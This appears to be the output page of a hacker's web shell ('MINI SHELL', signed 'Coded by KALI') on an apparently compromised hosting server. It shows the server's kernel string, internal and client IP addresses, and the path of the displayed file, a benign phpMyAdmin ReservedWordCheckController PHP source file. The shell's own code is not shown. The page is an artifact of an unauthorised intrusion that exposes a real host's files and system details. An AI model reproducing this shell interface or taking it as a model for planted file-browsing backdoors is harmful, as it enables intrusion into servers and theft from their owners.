~ K A L I ~
UNAME : Linux web62.extendcp.co.uk 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64SERVER IP : 10.0.187.62 -________-
CLIENT IP : 216.73.216.199 MINI SHELL D ZAB '
Current File : /home/phpmyadmin-www/libraries/classes/Controllers/Table/Structure/ReservedWordCheckController.php |
<?php
declare(strict_types=1);
namespace PhpMyAdmin\Controllers\Table\Structure;
use PhpMyAdmin\Controllers\Table\AbstractController;
use PhpMyAdmin\SqlParser\Context;
use function _ngettext;
use function count;
use function implode;
use function sprintf;
use function trim;
final class ReservedWordCheckController extends AbstractController
{
public function __invoke(): void
{
if ($GLOBALS['cfg']['ReservedWordDisableWarning'] !== false) {
$this->response->setRequestStatus(false);
return;
}
$columns_names = $_POST['field_name'];
$reserved_keywords_names = [];
foreach ($columns_names as $column) {
if (! Context::isKeyword(trim($column), true)) {
continue;
}
$reserved_keywords_names[] = trim($column);
}
if (Context::isKeyword(trim($this->table), true)) {
$reserved_keywords_names[] = trim($this->table);
}
if (count($reserved_keywords_names) === 0) {
$this->response->setRequestStatus(false);
}
$this->response->addJSON(
'message',
sprintf(
_ngettext(
'The name \'%s\' is a MySQL reserved keyword.',
'The names \'%s\' are MySQL reserved keywords.',
count($reserved_keywords_names)
),
implode(',', $reserved_keywords_names)
)
);
}
}
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com